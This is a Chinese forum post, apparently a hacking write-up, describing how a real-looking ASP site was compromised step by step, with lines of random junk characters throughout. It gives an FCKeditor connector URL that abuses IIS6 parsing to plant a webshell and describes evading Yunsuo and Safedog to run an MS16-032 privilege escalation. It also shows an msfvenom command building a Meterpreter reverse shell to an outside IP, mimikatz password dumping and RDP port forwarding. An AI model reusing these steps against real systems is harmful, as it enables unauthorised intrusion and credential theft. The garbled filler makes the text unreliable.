|
7 i- \; i% [/ S0 r7 `% j2 } ) S9 G- ]) n' Z5 O
/ Y8 v/ j: {7 p2 B* Z & C* d* t9 ^4 G
| # X' F, f& d6 T) m1 i1 r1 v
' W, F/ a( j" j
7 d# c- X5 ^! f8 n% l- N
一、 利用getwebshell篇
$ n8 m: E* ?9 L _
5 W* t" P* J. _+ n2 {- U( Q首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
0 ?" d0 ]+ R5 O7 k6 }1 W# E
' [! b* b- m/ K: `1 W& a% W
6 {1 l+ \7 k1 e/ M5 i# d下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
5 P6 S B: [, Z, m( [
* e6 l) n2 F+ G; B/ y1 V
下面我们构造一个asp目录，如：
8 o9 t3 d5 G. C0 }$ z , Q4 t6 A/ i+ J- t
E% U$ O- b G1 i$ n: G% {7 y
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
0 z N+ R) {. o! g8 J
' D) U2 q% \" @8 O 4 U# N) K; ^5 Z9 J5 g6 _) n
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
5 z- U( o' S8 O# K' N; f. |
5 o2 [4 B; p, o% S5 t# k1 E5 y
一、 绕过安全狗云锁提权并且加账号
* T* M; c* @( H/ y5 h3 V/ R
1 F3 c9 a2 X/ x, U" |
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
8 E: c% i* I% C7 m9 W; J
5 m5 {0 i8 l4 `) w6 Y: k
如图：
! v- O2 _* N& u8 }/ O4 }
) k% o- u& y4 x0 K' e- N% C }然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
& x. A/ j H: v$ u! b
' ~' _% e/ A! t8 k1 j" Q一、 利用metasploit
5 n( {7 @2 Q1 ~$ E+ E! J7 ~
% @: f1 |) D W0 J) w) v; F1 ~首先用pentestbox生成一个64位的payload如下命令
' C. A2 X/ d3 r5 G4 l5 }
5 @$ [. n5 Y" F& l1 V7 cmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
' r- z L2 g! p* F
# T; G- }" s7 y* P% ?
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
+ O7 M; {8 T4 J- y) h0 V9 N+ ?
; H) ^% g- z% T
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
/ M% p; F N# E( q- z! i% b( ]7 }
# a( P* ~* m1 _* ~下面我们来做一个监听如下命令：
$ Y8 \' m/ f" H) B5 ?' G
8 z& g3 u: B8 F. U- b# Fportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
( Y. E, D5 A2 c. n) L" Y " N+ t8 B6 z1 G1 ?
* G& ^0 p4 L- U' @$ I% v
|
7 C, r+ S# q x8 ] & n+ r; \( R4 {8 T% r
. p% ~) s+ k+ u1 d+ b/ S
0 D! |6 D. }6 w7 l2 L4 I- I) C" L/ N, t+ ?. Y4 Y$ k
3 H# a2 O- @; Z8 u
3 R: c, g b) j% c: c
8 E6 G) T& u1 J; s) O5 L
2 _% B" u& q8 O0 w8 d
0 S' U$ D* h* s5 C0 a
* a+ L' X! ~, R$ Z0 k ; {. S0 p& o/ s% l$ o
6 d4 C I/ S8 E! l6 n
% v+ b1 ^8 E9 F | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06